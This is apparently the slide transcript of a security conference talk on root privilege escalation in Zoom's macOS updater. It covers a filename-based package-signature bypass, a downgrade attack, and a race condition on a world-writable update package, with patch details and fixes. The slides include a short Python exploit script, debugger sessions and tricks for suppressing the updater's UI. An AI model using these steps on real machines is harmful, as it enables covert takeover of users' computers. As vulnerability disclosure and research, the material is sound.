Share
You're M̶u̶t̶e̶d̶ Rooted
With a recent market cap of over $100 billion and the genericization of its name, the popularity of Zoom is undeniable. But what about its security? This imperative question is often quite personal, as who amongst us isn't jumping on weekly (daily?) Zoom calls?
In this talk, we’ll explore Zoom’s macOS application to uncover several critical security flaws. Flaws, that provided a local unprivileged attacker a direct and reliable path to root.
The first flaw, presents itself subtly in a core cryptographic validation routine, while the second is due to a nuanced trust issue between Zoom’s client and its privileged helper component.
After detailing both root cause analysis and full exploitation of these flaws, we’ll end the talk by showing how such issues could be avoided …both by Zoom, but also in other macOS applications.
Patrick Wardle
Transcript
52 slides
-
WHOAMI Patrick Wardle Objective-See Foundation, 501(c)(3) macOS security Tools "The
Art of Mac Malware" books "Objective by the Sea" conference -
Crypto Bug OUTLINE Downgrade Attack Via multiple flaws in Zoom's
"auto update" feature on macOS, a local attacker/malware could trivially escalate privileges to root. Fix(es) Background -
PREVIOUS RESEARCH (@DEF CON, 2017) on exploiting installers in general
DefCon 25 "Death By 1000 Installers" non-priv'd / writable location runs as root local (non-priv'd) attacker -
PREVIOUS RESEARCH (2020) root, via Zoom's installer # ./ProcessMonitor
{ "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "uid" : 0, "arguments" : [ "/bin/sh", "./runwithroot", ... ], } } % ls -lart com.apple.install.v43Mcm4r ... -rwxr-xr-x 1 user staff runwithroot running as root executing script owned by user ! setuid (root) shell whoami: root "The 'S' in Zoom, Stands for Security" https://objective-see.org/blog/blog_0x56.html -
A RECENT OBSERVATION password needed for install/uninstall Password required !
( or Touch ID ) Installation Uninstallation password (required) -
A RECENT OBSERVATION but no password required for (auto)updates!? "Auto
update" (enabled by default) Update alert } on an update: no password needed!? -
AN (AUTO)UPDATE Zoom's updater application: ZoomAutoUpdater.app # ./ProcessMonitor {
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "uid" : 501, "arguments" : [ "~/Library/Application Support/zoom.us/AutoUpdater/UpdaterApp/ ZoomAutoUpdater.app/Contents/MacOS/ZoomAutoUpdater", "1", "~/Library/Application Support/zoom.us/AutoUpdater", "~/Library/Application Support/zoom.us/AutoUpdater/Zoom.pkg", ... ] "path" : "~/Library/Application Support/zoom.us/AutoUpdater/UpdaterApp/ ZoomAutoUpdater.app/Contents/MacOS/ZoomAutoUpdater", "name" : "ZoomAutoUpdater", "pid" : 57957 } } ZoomAutoUpdater.app (invoked with the update package) the update .pkg Updater app the updater app -
XPC connection to an updater daemon AN (AUTO)UPDATE /* @class
ZMAutoUpdaterDaemonXPCServerMgr */ -(void *)connectToHelperTool { if([self daemonHelperConnection] == 0x0) { //make connection // Mach/XPC service name: "us.zoom.ZoomDaemon" [self setDaemonHelperConnection: [[NSXPCConnection alloc] initWithMachServiceName:@"us.zoom.ZoomDaemon" options:0x1000]]; //protocol (implemented in remote service) [[self daemonHelperConnection] setRemoteObjectInterface: [NSXPCInterface interfaceWithProtocol:@protocol(ZMDaemonXPCProtocol)]]; [[self daemonHelperConnection] resume]; } return [self daemonHelperConnection]; } 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 Zoom's updater app Zoom's updater daemon (XPC) connection to "us.zoom.ZoomDaemon" connect via XPC to: us.zoom.ZoomDaemon -
Zoom's updater daemon: us.zoom.ZoomDaemon <?xml version="1.0" encoding="UTF-8"?> ...
<dict> <key>Label</key> <string>us.zoom.ZoomDaemon</string> <key>MachServices</key> <dict> <key>us.zoom.ZoomDaemon</key> <true/> </dict> <key>Program</key> <string>/Library/PrivilegedHelperTools/us.zoom.ZoomDaemon</string> <key>ProgramArguments</key> <array> <string>/Library/PrivilegedHelperTools/us.zoom.ZoomDaemon</string> </array> </dict> </plist> 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 Mach (XPC) service: "us.zoom.ZoomDaemon" path to binary % ls -lart /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon -r-xr--r-- 1 root wheel /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon % ps aux ... root 14941 ... /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon AN (AUTO)UPDATE us.zoom.ZoomDaemon: owned & runs as root /Library/LaunchDaemons/us.zoom.ZoomDaemon.plist -
Zoom's updater daemon protocol: ZMDaemonXPCProtocol AN (AUTO)UPDATE % class-dump /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon
@interface ZMDaemonHelperXPCMgr : NSObject <NSXPCListenerDelegate, ZMDaemonXPCProtocol> ... @property(retain) NSXPCListener *listener; // @synthesize listener=_listener; - (void)checkIfZoomQuit:(long long)arg1; - (void)launchApp:(id)arg1 arguments:(id)arg2; - (id)getSafeInstallPath; - (void)uninstallDaemonHelperWithReply:(CDUnknownBlockType)arg1; - (void)getInstallNewPackageStatusWithReply:(CDUnknownBlockType)arg1; - (void)installNewPackage:(id)arg1 reply:(CDUnknownBlockType)arg2; - (void)exitDaemonHelperWithReply:(CDUnknownBlockType)arg1; - (void)runDaemonHelperWithReply:(CDUnknownBlockType)arg1; - (BOOL)listener:(id)arg1 shouldAcceptNewConnection:(id)arg2; ... ZMDaemonXPCProtocol methods (us.zoom.ZoomDaemon) install update? (privileged) methods invocable by clients (e.g. Zoom's updater application) validate clients -
updater app → daemon "installNewPackage:" AN (AUTO)UPDATE /* @class ZMAutoUpdaterInstaller
*/ -(void)installPackage:(void *)arg2 isInstallForAllUsers:(char)arg3 result:(void *)arg4 { ... [[ZMAutoUpdaterDaemonHelper sharedInstance] installPackage:pkg result:result]; 01 02 03 04 /* @class ZMAutoUpdaterDaemonHelper */ -(void)installPackage:(void *)arg2 result:(void *)arg3 { rax = [self xpcMgr]; [rax installNewZoomPackage:arg2 result:rcx]; 01 02 03 04 /* @class ZMAutoUpdaterDaemonXPCServerMgr */ -(void)installNewZoomPackage:(void *)arg2 result:(void *)arg3 { rax = [self connectToHelperTool]; rax = [rax remoteObjectProxyWithErrorHandler:rdx]; ... [rax installNewPackage:arg2 reply:rcx]; 01 02 03 04 05 06 us.zoom.Zoom (priv'd helper) installNewPackage:(id)arg1 reply:(CDUnknownBlockType)arg2; } connect to daemon invoke method ZoomAutoUpdater.app -
AN (AUTO)UPDATE update completed by macOS's installer # ./ProcessMonitor
{ "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "name" : "installer", "path" : "/usr/sbin/installer", "uid" : 0, "arguments" : [ "installer", "-verboseR", "-pkg", "/Library/Application Support/zoom.us/zoomTmp.pkg", "-target", "/" ] ... } Update .pkg installed via macOS's installer macOS installer (spawned by daemon, hence uid: 0) Updater app Updater daemon (macOS's) installer the update .pkg -
SECURE? ...at first glance, appears so Updater daemon Only
Zoom clients can connect to the privileged updater daemon Update packages must be signed by Zoom blocked! Signed .pkg Unsigned .pkg -
SECURE? only Zoom client(s) can connect to updater daemon /*
@class ZMCodeSignHelper */ +(char)isValidConnection:(void *)arg2 { ... return ([ZMCodeSignHelper isValidConnection:r15 bundleID:@"us.zoom.xos"] || [ZMCodeSignHelper isValidConnection:rax bundleID:@"us.zoom.ZoomAutoUpdater"]) } 01 02 03 04 05 06 /* @class ZMCodeSignHelper */ +(char)isValidConnection:(void *)arg2 bundleID:(void *)arg3 { //get client's code signing information (via kSecGuestAttributeAudit) //init "requirement" string r13 = [NSString stringWithFormat:@"identifier \"%@\" and %@ and %@", r15, @"anchor apple generic and certificate leaf[subject.OU] = BJ4HAAB9B3 and certificate leaf[subject.CN] = \"Developer ID Application: Zoom Video Communications, Inc. (BJ4HAAB9B3)\"", @"info [CFBundleVersion] >= \"5.8.6\""]; SecRequirementCreateWithStringAndErrors(r13, 0x0, &var_68, &var_58); //validate (client) against "requirement" r15 = SecCodeCheckValidity(rdi, 0x0, 0x0) == 0x0 ? 0x1 : 0x0; return = r15 & 0xff; 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 requirement: "recent version of Zoom" us.zoom.ZoomDaemon "isValidConnection:" logic -
SECURE? update packages must be signed by Zoom /* @class
ZMCodeSignHelper */ +(char)checkPkgAuthority:(void *)pkg { signatureOK = NO; //init task rax = [[NSTask alloc] init]; [rax setLaunchPath:@"/usr/sbin/pkgutil"]; //set args: "--check-signature", path to pkg, etc. //launch task / wait [rax launch]; [rax waitUntilExit]; //check signer(s) // rbx = (std)output from pkgutil if([rax terminationStatus] == 0x0) { if([ZMCodeSignHelper isString1ContainsString2:rbx string2:@"Zoom Video Communications, Inc."]) { if([ZMCodeSignHelper isString1ContainsString2:rbx string2:@"Developer ID Certification Authority"]) { signatureOK = [ZMCodeSignHelper isString1ContainsString2:rbx string2:@"Apple Root CA"] } } } return signatureOK; } 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 exec macOS's pkgutil with --check-signature <.pkg> signed validly, by: Zoom's developer ID "checkPkgAuthority:" logic -
PACKAGE VALIDATION via macOS's pkgutil tool % pkgutil --check-signature ZoomUpdate.pkg
Package "ZoomUpdate.pkg": Status: signed by a developer certificate issued by Apple for distribution Notarization: trusted by the Apple notary service Certificate Chain: 1. Developer ID Installer: Zoom Video Communications, Inc. (BJ4HAAB9B3) 2. Developer ID Certification Authority 3. Apple Root CA macOS's pkgutil pkgutil: "query & manipulate Mac OS X Installer packages and receipts" Signature status Certificate chain pkgutil provides a package's: -
SECURE? an attempt to ensure packages are signed by Zoom
/* @class ZMCodeSignHelper */ +(BOOL)checkPkgAuthority:(void *)arg2 { //init/task: // pkgutil --check-signature <pkg> //set stdout to pipe pipe = [NSPipe pipe]; [task setStandardOutput:pipe]; //launch task //read all stdout handle = [pipe fileHandleForReading]; data = [handle readDataToEndOfFile]; output = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; //check signer(s) if([task terminationStatus] == 0x0) { if([ZMCodeSignHelper isString1ContainsString2:output string2:@"Zoom Video Communications, Inc."]) { if([ZMCodeSignHelper isString1ContainsString2:output string2:@"Developer ID Certification Authority"]) { signatureOK = [ZMCodeSignHelper isString1ContainsString2:output string2:@"Apple Root CA"] } } } 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 % pkgutil --check-signature ZoomUpdate.pkg Package "ZoomUpdate.pkg": Status: signed by a developer certificate issued by Apple for distribution Certificate Chain: 1. Developer ID Installer: Zoom Video Communications, Inc. (BJ4HAAB9B3) ... "checkPkgAuthority:" method (verification via pkgutil & string comparison) look for strings exec/output from pkgutil -
STRING CMPS ON *ALL* OUTPUT FROM PKGUTIL ...this output includes
the package's name 🤦 //read *all* data from stdout handle = [pipe fileHandleForReading]; data = [handle readDataToEndOfFile]; output = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; //check signer(s) if([ZMCodeSignHelper isString1ContainsString2:output string2:@"Zoom Video Communications, Inc."]) { if([ZMCodeSignHelper isString1ContainsString2:output string2:@"Developer ID Certification Authority"]) { signatureOK = [ZMCodeSignHelper isString1ContainsString2:output string2:@"Apple Root CA"] } } } 01 02 03 04 05 06 07 08 09 10 % pkgutil --check-signature "Zoom Video Communications, Inc. Developer ID Certification Authority Apple Root CA.pkg" Package "Zoom Video Communications, Inc. Developer ID Certification Authority Apple Root CA.pkg": Status: signed by a developer certificate issued by Apple for distribution package name, is included in stdout! "signature ok" -
(lldb) process attach --name us.zoom.ZoomDaemon --waitfor Process 949
stopped -> 0x10b182814 <+0>: pushq %rbp (lldb) po $rdi ZMCodeSignHelper (lldb) x/s $rsi 0x10b185450: "checkPkgAuthority:" (lldb) po $rdx /private/tmp/Zoom Video Communications, Inc. Developer ID Certification Authority Apple Root CA.pkg Process 949 stopped -> 0x10b182b1c <+776>: retq Target 0: (us.zoom.ZoomDaemon) stopped. (lldb) reg read $rax rax = 0x0000000000000001 PACKAGE SIGNATURE BYPASS ...by package name! +[ZMCodeSignHelper checkPkgAuthority:] at end of verification method, retq, method will now return 0x1 (TRUE) !! (malicious) .pkg to verify Bypassing package verification ("Zoom Video Communications, Inc. Developer ID Certification Authority Apple Root CA.pkg") us.zoom.ZoomDaemon -
ZOOM V5.9.0 released with "security enhancements" # ./FileMonitor "event":
"ES_EVENT_TYPE_NOTIFY_CREATE" "file": "destination": "/Library/Application Support/zoom.us/zoomTmp.pkg" "process": "name": "us.zoom.ZoomDaemon" "path": "/Library/PrivilegedHelperTools/us.zoom.ZoomDaemon" # ./ProcessMonitor "event" : "ES_EVENT_TYPE_NOTIFY_EXEC" "process" : "name" : "pkgutil" "path" : "/usr/sbin/pkgutil" "arguments" : [ "/usr/sbin/pkgutil" "--check-signature" "/Library/Application Support/zoom.us/zoomTmp.pkg" ] the update .pkg is first renamed (copied) as "zoomTmp.pkg" the copy, is verified (still) validated by pkgutil /Library/Application Support/zoom.us zoomTmp.pkg directory, owned by root -
zoomTmp.pkg As the package (.pkg) is now renamed *and then*
its signature is verified, our package will no longer validate. //validation failed else { ... [rax setErrorCode:0x2717]; } 01 02 03 04 05 06 thwarts name-based .pkg attack ZOOM V5.9.0 renamed though insecure package validation (via pkgutil) still present -
BUT, CAN WE DOWNGRADE ZOOM!? ...by (re)installing an older (buggy)
version? no version checks? ...any Zoom .pkg installable !! us.zoom.Zoom Zoom < 5.9 (buggy, but signed) verify (signature) install } installer logic (us.zoom.Zoom) now, exploit -
HOW TO TRIGGER AN UPDATE ...don't want to wait for
Zoom! Recall, only Zoom clients can connect (to trigger an upgrade request) /* @class ZMDaemonHelperXPCMgr */ -(BOOL)listener:(void *)arg2 shouldAcceptNewConnection:(void *)conn { ... if ([ZMCodeSignHelper isValidConnection:rax] != 0x0) { //allow } 01 02 03 04 05 06 +(BOOL)isValidConnection:(void *)conn { //invoke +ZMCodeSignHelper isValidConnection twice // with "us.zoom.ZoomAutoUpdater" & then "us.zoom.xos" 01 02 03 04 Client validation logic (in updater daemon) Updater daemon -
HOW TO TRIGGER AN UPDATE ...use Zoom's auto updater app!
+(BOOL)isValidConnection:(void *)conn { //invoke +ZMCodeSignHelper isValidConnection twice // with "us.zoom.ZoomAutoUpdater" & then "us.zoom.xos" 01 02 03 04 Updater app Updater daemon int EntryPoint() { ... rax = [NSProcessInfo processInfo]; rax = [rax arguments]; if ([rax count] >= 0x9) { //go go go } 01 02 03 04 05 06 07 08 void sub_10000859c(int arg0) { r14 = [*(arg0 + 0x20) pkgInstaller]; r15 = [*(arg0 + 0x20) packagePath]; rax = [*(arg0 + 0x20) isInstallForAllUsers]; ... [r14 installPackage:r15 isInstallForAllUsers:rax result:r8]; return; } 01 02 03 04 05 06 07 08 09 path! % ZoomAutoUpdater.app/Contents/MacOS/ZoomAutoUpdater 1 2 ~/Downloads/Zoom_v5_8_6.pkg 4 5 6 7 8 -(void *)init { ... rax = [rbx objectAtIndexedSubscript:0x3]; rsi = @selector(setPackagePath:); objc_msgSend_1000100d0(rdi, rsi, rax); 01 02 03 04 05 argv[3] = pkg path -
EXPLOIT CHAIN ...root, in two simple steps Zoom < 5.9
Updater app "Zoom...Apple Root CA.pkg" install old version Updater app install malicious .pkg # whoami root -
SILENTLY? ...yes, via other arguments! /* @class ZMAutoUpdaterMgr */
-(void *)init { ... rdx = sign_extend_64([[rbx objectAtIndexedSubscript:0x5] boolValue]); rdi = r14; rsi = @selector(setIsNeedRelauch:); objc_msgSend_1000100d0(rdi, rsi, rdx); ... rdx = sign_extend_64([[rbx objectAtIndexedSubscript:0x6] boolValue]); rdi = r14; rsi = @selector(setIsShowUI:); objc_msgSend_1000100d0(rdi, rsi, rdx); 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 More arg parsing (Zoom Updater App) Should relaunch? Should show UI? By setting argv[5] & argv[6] to 0 (false), the upgrade (or exploit) will be invisible! ZoomAutoUpdater.app -
CVE-2022-22781: DOWNGRADE ATTACK Zoom v5.9.6, released April 2022 CVE-2022-22781
(patch time: 4+ months) "[Zoom] failed to properly check the package version during the update process. This could lead to a malicious actor updating an unsuspecting user's currently installed version to a less secure version" -Zoom Security Bulletin $5,000 bug bounty -
CVE-2022-22781: PATCH DETAILS is app version in upgrade pkg >=
installed version? /* @class ZMDaemonHelperXPCMgr */ -(BOOL)isZoomPkgVersionAllowed:(void *)arg2 { //unzip .pkg [[self unzipZoomPkg:rdx unzipDestFolder:rcx] retain]; //get version of "zoom.us.app" in unzipped .pkg version = [self getPayloadDataWith:r12 unzipDestFolder:rax]; //check current version with app version return [self checkPkgZoomVersionAllowed:rbx]; 01 02 03 04 05 06 07 08 09 10 11 Unzip Extract version # Compare /* @class ZMDaemonHelperXPCMgr */ -(BOOL)checkPkgZoomVersionAllowed:(void *)arg2 { rax = [NSBundle bundleWithPath:arg2]; r14 = [rax objectForInfoDictionaryKey:@"CFBundleVersion"]; rax = [NSBundle mainBundle]; r12 = [rax objectForInfoDictionaryKey:@"CFBundleVersion"]; if ([r14 length] != 0x0 && [r12 length] != 0x0) { rax = [r14 compare:r12 options:0x40] != 0xffffffffffffffff ? 0x1 : 0x0; } ... 01 02 03 04 05 06 07 08 09 10 11 12 13 14 Downgrades now blocked "upgrade" < current version? -
CVE-2022-28751: PACKAGE VALIDATION Zoom v5.11.3, released July 2022 CVE-2022-28751
(patch time: 7+ months) $5,000 bug bounty "[Zoom] contain[ed] a vulnerability in the package signature validation during the update process. A local low-privileged user could exploit this vulnerability to escalate their privileges to root" -Zoom Security Bulletin -
CVE-2022-28751: PATCH DETAILS .pkg signature now validated via CMS/XAR apis
% otool -L /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon ... /usr/lib/libxar.1.dylib /System/Library/Frameworks/Security.framework/Versions/A/Security % nm /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon U _CMSDecoderGetNumSigners U _CMSDecoderCopySignerCert ... U _xar_open U _xar_signature_copy_signed_data /* @class ZMCheckPkgSignatureHelper */ +(BOOL)checkPkgAuthorityByCMS:(void *)pkg { return [[self class] validateInstallerPackage:pkg teamID:@"BJ4HAAB9B3" installerAuthority:@"Developer ID Installer: Zoom Video Communications, Inc. (BJ4HAAB9B3)"]; } 01 02 03 04 05 06 07 }new dependencies ...& their imports validation now done (correctly) via APIs Non-Zoom .pkgs blocked -
PACKAGE VALIDATION ...better option: (private) PackageKit.framework WhatsYourSign (Package.h/.m) github.com/objective-see/WhatsYourSign/
"Reversing 'pkgutil' to Verify PKGs" jamf.com/blog/reversing-pkgutil-to-verify-pkgs/ % otool -L /usr/sbin/pkgutil /System/Library/PrivateFrameworks/Bom.framework/Versions/A/Bom /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/PackageKit } .pkg validation how pkgutil validates packages -
RECALL upgrade .pkg moved/renamed, then validated # ./FileMonitor "event":
"ES_EVENT_TYPE_NOTIFY_CREATE" "file": "destination": "/Library/Application Support/zoom.us/zoomTmp.pkg" "process": "name": "us.zoom.ZoomDaemon" copy of (update) .pkg (lldb) process attach --name us.zoom.ZoomDaemon --waitfor * thread #3, breakpoint 1.1 -> 0x100ebf866 <+558>: callq *%r9 (lldb) po $rdi <NSFileManager: 0x7f9dc7408960> (lldb) x/s $rsi 0x7fff71b6054a: "copyItemAtPath:toPath:error:" (lldb) po $rdx /Users/user/Downloads/zoomusInstallerFull.pkg (lldb) po $rcx /Library/Application Support/zoom.us/zoomTmp.pkg /Library/Application Support/zoom.us zoomTmp.pkg file copy API source dest. directory, owned by root -
THE DESTINATION DIRECTORY IS OWNED BY ROOT ...but, the package
is (still) world-writable! 🤦 % ls -la "/Library/Application Support/zoom.us" drwxr-xr-x root admin . % touch "/Library/Application Support/zoom.us/foo" touch: /Library/Application Support/zoom.us/foo: Permission denied % ls -la "/Library/Application Support/zoom.us" -rw-r--r--@ user staff zoomTmp.pkg % whoami user % md5 "/Library/Application Support/zoom.us/zoomTmp.pkg" MD5 (zoomTmp.pkg) = d8e2b6cdb16aed29a7f51e780543a08b % echo foo >> "/Library/Application Support/zoom.us/zoomTmp.pkg" % md5 zoomTmp.pkg MD5 (zoomTmp.pkg) = 24807d29234cda2b010ce9ac28c4071b upgrade .pkg: owned by: user !? As the permissions of the package are not updated, an unprivileged local attacker can surreptitiously modify it! ..."editable!?" by anybody? directory owned by: root -
A CLASSIC "TOCTTOU" BUG a race condition between .pkg verification
& install zoomTmp.pkg Copy (+rename) to /Library/Application Support/zoom.us/ Verify (signature) Unzip (+check version) Install update (recall, as root) Subvert .pkg After verification Before installation the race window ...can we reliably win !? Upgrade: -
THE RACE WINDOW ...easily winnable, due to "large" window Verify
(signature) Unzip (+check version) Install update (recall, as root) Unzip: % /usr/bin/xar Version check: % /bin/cat % /usr/bin/cpio Install: % /usr/bin/sudo % /usr/sbin/installer to win } start -
FULL EXPLOIT root ...in 10 lines of code #imports ...
PAYLOAD = 'get.root.pkg' PKG_DEST = '/Library/Application Support/zoom.us/zoomTmp.pkg' subprocess.Popen(['ZoomAutoUpdater.app/Contents/MacOS/ZoomAutoUpdater','2','3', '/tmp/Zoom.pkg','5','6','7','8','9']) while not os.path.exists(PKG_DEST): time.sleep(0.1) time.sleep(0.2) shutil.copyfile(PAYLOAD, PKG_DEST) 01 02 03 04 05 06 07 08 09 10 11 12 13 trigger an update (with valid Zoom pkg) wait for copy of update .pkg to show up replace (verified) package with malicious .pkg zoomTmp.pkg # whoami root -
A PROPOSED FIX ...via a single API call? [NSFileManager.defaultManager setAttributes:
@{NSFileGroupOwnerAccountID:@0, NSFileOwnerAccountID:@0}; ofItemAtPath:@"/Library/Application Support/zoom.us/zoomTmp.pkg" error:NULL]; 01 02 03 NSFileOwnerAccountID: 0 NSFileGroupOwnerAccountID: 0 % ls -la "/Library/Application Support/zoom.us" -rw-r--r--@ root wheel zoomTmp.pkg % echo foo >> "/Library/Application Support/zoom.us/zoomTmp.pkg" zsh: permission denied: /Library/Application Support/zoom.us/zoomTmp.pkg permission (would then be) denied ! Set permissions (owner: root, group: wheel) -
TAKEAWAYS Be careful choosing usability over security! Watch DefCon
talks! password (required) Installer app + .pkg ...avoids most installer issues! Where's there are bugs ...will likely be (many!) more } -
MORE ON MACOS SECURITY ...topics of reversing, debugging, & malware
Free: taomm.org For sale: amazon, etc... -
RESOURCES: You're Muted Rooted "Death By 1000 Installers" speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken
"The 'S' in Zoom, Stands for Security" objective-see.org/blog/blog_0x56.html "Zoom Zero Day: 4+ Million Webcams & maybe an RCE?" infosecwriteups.com/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5